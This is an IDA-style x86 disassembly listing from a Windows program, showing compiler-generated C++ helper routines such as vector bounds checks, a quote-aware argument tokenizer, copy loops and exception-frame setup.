; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A490	proc near		; CODE XREF: sub_401E47j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		push	edi
		mov	esi, ecx
		mov	[esp+0Ch+var_4], 0
		call	sub_4013E3
		mov	ecx, [esp+0Ch+arg_4]
		mov	edi, [esp+0Ch+arg_0]
		sub	eax, ecx
		push	eax
		push	ecx
		push	edi
		mov	ecx, esi
		call	sub_4012B2
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ecx
		retn	8
sub_40A490	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A4D0:				; CODE XREF: ___:0040194Cj
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	1
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_402112
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A500	proc near		; CODE XREF: sub_4011EAj

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A500
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		mov	edi, [esp+44h+arg_8]
		mov	esi, ecx
		test	edi, edi
		mov	[esp+44h+var_38], 0
		jnz	short loc_40A541
		mov	esi, [esp+44h+arg_0]
		push	offset byte_448F30
		mov	ecx, esi
		call	sub_401870
		jmp	loc_40A674
; ---------------------------------------------------------------------------


loc_40A541:				; CODE XREF: sub_40A500+2Aj
		lea	eax, [esp+44h+arg_8]
		lea	ecx, [esp+44h+var_34]
		push	eax
		call	sub_40169A
		mov	ecx, [esi+9]
		mov	[esp+44h+var_4], 1
		push	ecx
		lea	ecx, [esp+48h+var_24]
		call	sub_401870
		lea	ecx, [esp+44h+var_24]
		mov	byte ptr [esp+44h+var_4], 2
		call	sub_4014DD
		mov	[esp+44h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jz	loc_40A625
		push	ebx


loc_40A581:				; CODE XREF: sub_40A500+11Ej
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_40A590


loc_40A587:				; CODE XREF: sub_40A500+8Ej
		inc	eax
		mov	[esp+48h+var_3C], eax
		cmp	[eax], dl
		jz	short loc_40A587


loc_40A590:				; CODE XREF: sub_40A500+85j
		cmp	byte ptr [eax],	22h
		setz	bl
		test	bl, bl
		jz	short loc_40A59F
		inc	eax
		mov	[esp+48h+var_3C], eax


loc_40A59F:				; CODE XREF: sub_40A500+98j
		lea	edx, [esp+48h+var_3C]
		lea	ecx, [esp+48h+var_34]
		push	edx
		call	sub_401997
		mov	eax, [esp+48h+var_3C]
		test	bl, bl
		mov	cl, [eax]
		jz	short loc_40A5EF
		test	cl, cl
		jz	short loc_40A5D7


loc_40A5BB:				; CODE XREF: sub_40A500+D5j
		cmp	cl, 22h
		jnz	short loc_40A5CC
		mov	cl, [eax+1]
		cmp	cl, 20h
		jz	short loc_40A5D7
		test	cl, cl
		jz	short loc_40A5D7


loc_40A5CC:				; CODE XREF: sub_40A500+BEj
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A5BB


loc_40A5D7:				; CODE XREF: sub_40A500+B9j
					; sub_40A500+C6j ...
		cmp	byte ptr [eax],	0
		jz	short loc_40A61A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		mov	cl, [eax+1]
		test	cl, cl
		jz	short loc_40A61A
		add	eax, 2
		jmp	short loc_40A616
; ---------------------------------------------------------------------------


loc_40A5EF:				; CODE XREF: sub_40A500+B5j
		test	cl, cl
		jz	short loc_40A604
		mov	dl, [edi]


loc_40A5F5:				; CODE XREF: sub_40A500+102j
		cmp	cl, dl
		jz	short loc_40A604
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A5F5


loc_40A604:				; CODE XREF: sub_40A500+F1j
					; sub_40A500+F7j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_40A61A
		cmp	cl, [edi]
		jnz	short loc_40A61A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		inc	eax


loc_40A616:				; CODE XREF: sub_40A500+EDj
		mov	[esp+48h+var_3C], eax


loc_40A61A:				; CODE XREF: sub_40A500+DAj
					; sub_40A500+E8j ...
		mov	cl, [eax]
		test	cl, cl
		jnz	loc_40A581
		pop	ebx


loc_40A625:				; CODE XREF: sub_40A500+7Aj
		lea	ecx, [esp+44h+var_34]
		call	sub_4011F9
		mov	ecx, [esp+44h+arg_4]
		cmp	ecx, eax
		jb	short loc_40A63D
		push	offset byte_448F30
		jmp	short loc_40A64A
; ---------------------------------------------------------------------------


loc_40A63D:				; CODE XREF: sub_40A500+134j
		push	ecx
		lea	ecx, [esp+48h+var_34]
		call	sub_401F82
		mov	eax, [eax]
		push	eax


loc_40A64A:				; CODE XREF: sub_40A500+13Bj
		mov	esi, [esp+48h+arg_0]
		mov	ecx, esi
		call	sub_401870
		lea	ecx, [esp+44h+var_24]
		mov	[esp+44h+var_38], 1
		call	sub_401226
		lea	ecx, [esp+44h+var_34]
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_401596
; ---------------------------------------------------------------------------


loc_40A674:				; CODE XREF: sub_40A500+3Cj
		mov	ecx, [esp+44h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_40A500	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A700	proc near		; CODE XREF: sub_4016B8j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ecx
		mov	eax, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	0
		push	eax
		push	edx
		push	esi
		mov	[esp+18h+var_4], 0
		call	sub_4011EA
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	0Ch
sub_40A700	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A740	proc near		; CODE XREF: sub_40202Cj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		pop	esi
		retn	4
sub_40A740	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A770	proc near		; CODE XREF: sub_401A9Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015E1
		retn	4
sub_40A770	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A790	proc near		; CODE XREF: sub_401479j

arg_0		= dword	ptr  4

		mov	eax, [ecx+9]
		mov	ecx, [esp+arg_0]
		add	eax, ecx
		retn	4
sub_40A790	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A7B0:				; CODE XREF: ___:004014A6j
		mov	eax, [ecx+9]
		mov	ecx, [esp+4]
		add	eax, ecx
		retn	4
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7D0	proc near		; CODE XREF: sub_401389j
		mov	eax, [ecx+9]
		retn
sub_40A7D0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7F0	proc near		; CODE XREF: sub_4017EEj
		mov	eax, [ecx+9]
		retn
sub_40A7F0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A810	proc near		; CODE XREF: sub_4014DDj
		mov	eax, [ecx+9]
		retn
sub_40A810	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A830	proc near		; CODE XREF: sub_40169Aj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_40A830	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40A860	proc near		; CODE XREF: sub_401596j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019B5
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
sub_40A860	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
byte_40A893	db 0Dh dup(90h)		; DATA XREF: ___:00446534o
					; ___:00446578o ...
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8B0	proc near		; CODE XREF: sub_4011F9j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_40A8BA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40A8BA:				; CODE XREF: sub_40A8B0+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_40A8B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8E0	proc near		; CODE XREF: sub_401F82j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_4011F9
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_40A8F8
		mov	ecx, esi
		call	sub_401F05


loc_40A8F8:				; CODE XREF: sub_40A8E0+Fj
		mov	ecx, esi
		call	sub_401D2F
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_40A8E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A920	proc near		; CODE XREF: sub_401997j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401659
		push	eax
		mov	ecx, esi
		call	sub_4016F9
		pop	esi
		retn	4
sub_40A920	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A950	proc near		; CODE XREF: sub_401D2Fj
		mov	eax, [ecx+4]
		retn
sub_40A950	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A970	proc near		; CODE XREF: sub_401659j
		mov	eax, [ecx+8]
		retn
sub_40A970	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A990	proc near		; CODE XREF: sub_4016F9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401D2F
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_4013D9
		mov	ecx, edi
		call	sub_401D2F
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_40A990	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A9E0	proc near		; CODE XREF: sub_4019B5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_40AA00


loc_40A9F1:				; CODE XREF: sub_40A9E0+1Ej
		push	esi
		mov	ecx, edi
		call	sub_4018C0
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_40A9F1


loc_40AA00:				; CODE XREF: sub_40A9E0+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40A9E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AA20:				; CODE XREF: sub_401F05j
		push	0FFFFFFFFh
		push	offset loc_439DB9
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3]
		lea	ecx, [esp+4]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		nop
		call	near ptr 76081F67h
		lea	ecx, [esp+4]
		mov	dword ptr [esp+38h], 0
		push	ecx
		lea	ecx, [esp+18h]
		nop
		call	near ptr 760A0430h
		lea	edx, [esp+14h]
		push	offset dword_440088
		push	edx
		call	sub_437B22
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AAA0	proc near		; CODE XREF: sub_4011EFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_40AAA0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AAC0	proc near		; CODE XREF: sub_4013D9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_40AB8B
		mov	ecx, esi
		call	sub_4011F9
		cmp	edi, eax
		jnb	short loc_40AAF3
		mov	ecx, esi
		call	sub_4011F9
		mov	ebp, eax
		jmp	short loc_40AAF5
; ---------------------------------------------------------------------------


loc_40AAF3:				; CODE XREF: sub_40AAC0+26j
		mov	ebp, edi


loc_40AAF5:				; CODE XREF: sub_40AAC0+31j
		mov	ecx, esi
		call	sub_4011F9
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401DE8
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010CD
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_402194
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019B5
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_4011F9
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AB8B:				; CODE XREF: sub_40AAC0+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_40ABE9
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_402194
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401E8D
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40ABE9:				; CODE XREF: sub_40AAC0+D8j
		test	edi, edi
		jbe	short loc_40AC23
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4010CD
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_4020CC
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401E8D
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_40AC23:				; CODE XREF: sub_40AAC0+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40AAC0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AC90	proc near		; CODE XREF: sub_4018C0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_1
		pop	ecx
		retn	4
sub_40AC90	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACB0	proc near		; CODE XREF: sub_4010CDj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_40ACE2
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_40ACC6:				; CODE XREF: sub_40ACB0+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_40213F
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_40ACC6
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40ACE2:				; CODE XREF: sub_40ACB0+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40ACB0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD00	proc near		; CODE XREF: sub_402194j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_40AD27
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_40AD16:				; CODE XREF: sub_40AD00+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_40213F
		add	esi, 4
		dec	edi
		jnz	short loc_40AD16
		pop	esi
		pop	ebx


loc_40AD27:				; CODE XREF: sub_40AD00+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_40AD00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AD40	proc near		; CODE XREF: sub_401DE8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_4014D8
sub_40AD40	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD70	proc near		; CODE XREF: sub_40213Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401E01
		add	esp, 8
		retn	8
sub_40AD70	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ADA0	proc near		; CODE XREF: sub_401E8Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_40ADBD
		mov	edx, [esp+arg_8]
		push	esi


loc_40ADB1:				; CODE XREF: sub_40ADA0+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_40ADB1
		pop	esi

locret_40ADBD:				; CODE XREF: sub_40ADA0+Aj
		retn
sub_40ADA0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ADD0	proc near		; CODE XREF: sub_4020CCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_40ADF2
		mov	eax, [esp+arg_8]
		push	esi


loc_40ADE1:				; CODE XREF: sub_40ADD0+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_40ADE1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40ADF2:				; CODE XREF: sub_40ADD0+Aj
		mov	eax, [esp+arg_8]
		retn
sub_40ADD0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AE30	proc near		; CODE XREF: sub_4014D8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40AE3A
		xor	eax, eax


loc_40AE3A:				; CODE XREF: sub_40AE30+6j
		shl	eax, 2
		push	eax
		call	sub_437AEA
sub_40AE30	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AE60	proc near		; CODE XREF: sub_401E01j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40AE7B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40AE7B:				; CODE XREF: sub_40AE60+11j
		retn
sub_40AE60	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AE90	proc near		; CODE XREF: sub_401E88j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F014
		retn
sub_40AE90	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AEB0:				; CODE XREF: ___:00401721j
					; ___:loc_402045j
		push	esi
		mov	esi, ecx
		call	sub_40204F
		test	byte ptr [esp+8], 1
		jz	short loc_40AEC8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40AEC8:				; CODE XREF: ___:0040AEBDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AEE0	proc near		; CODE XREF: sub_40204Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40AEE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ecx], offset	off_43F014
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	sub_40174E


loc_40AF11:				; DATA XREF: sub_40AF22o
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40AEE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AF22	proc near		; DATA XREF: ___:004401C4o
		mov	eax, offset loc_40AF11
		retn
sub_40AF22	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF50	proc near		; CODE XREF: sub_4014C4j
		call	sub_401712
		jmp	sub_4017BC
sub_40AF50	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF70	proc near		; CODE XREF: sub_401B2Cj
		call	sub_401627
		jmp	sub_4017CB
sub_40AF70	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF90	proc near		; CODE XREF: sub_4013DEj
		push	esi
		mov	esi, ecx
		push	esi
		push	offset sub_401429
		lea	eax, [esi+0Ch]
		push	0
		push	eax
		call	sub_40123A
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40AFB2
		mov	al, 1
		mov	[esi+10h], al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AFB2:				; CODE XREF: sub_40AF90+19j
		mov	byte ptr [esi+10h], 0
		xor	al, al
		pop	esi
		retn
sub_40AF90	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AFD0:				; CODE XREF: ___:004011C2j
		push	ecx
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40AFF7
		mov	ecx, [esi+0Ch]
		lea	eax, [esp+4]
		push	eax
		push	ecx
		call	sub_401767
		mov	eax, [esp+0Ch]
		add	esp, 8
		mov	byte ptr [esi+10h], 0
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_40AFF7:				; CODE XREF: ___:0040AFD9j
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B010	proc near		; CODE XREF: sub_40174Ej
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B02C
		mov	eax, [esi+0Ch]
		push	0Fh
		push	eax
		call	sub_401762
		add	esp, 8
		mov	byte ptr [esi+10h], 0


loc_40B02C:				; CODE XREF: sub_40B010+8j
		pop	esi
		retn
sub_40B010	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B040:				; CODE XREF: ___:004011F4j
		mov	eax, [ecx+0Ch]
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B060	proc near		; CODE XREF: sub_401429j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40B060
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	eax, [ecx]
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	dword ptr [eax+4]


loc_40B08E:				; DATA XREF: sub_40B0A1o
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40B060	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0A1	proc near		; DATA XREF: ___:00440224o
		mov	eax, offset loc_40B08E
		retn
sub_40B0A1	endp

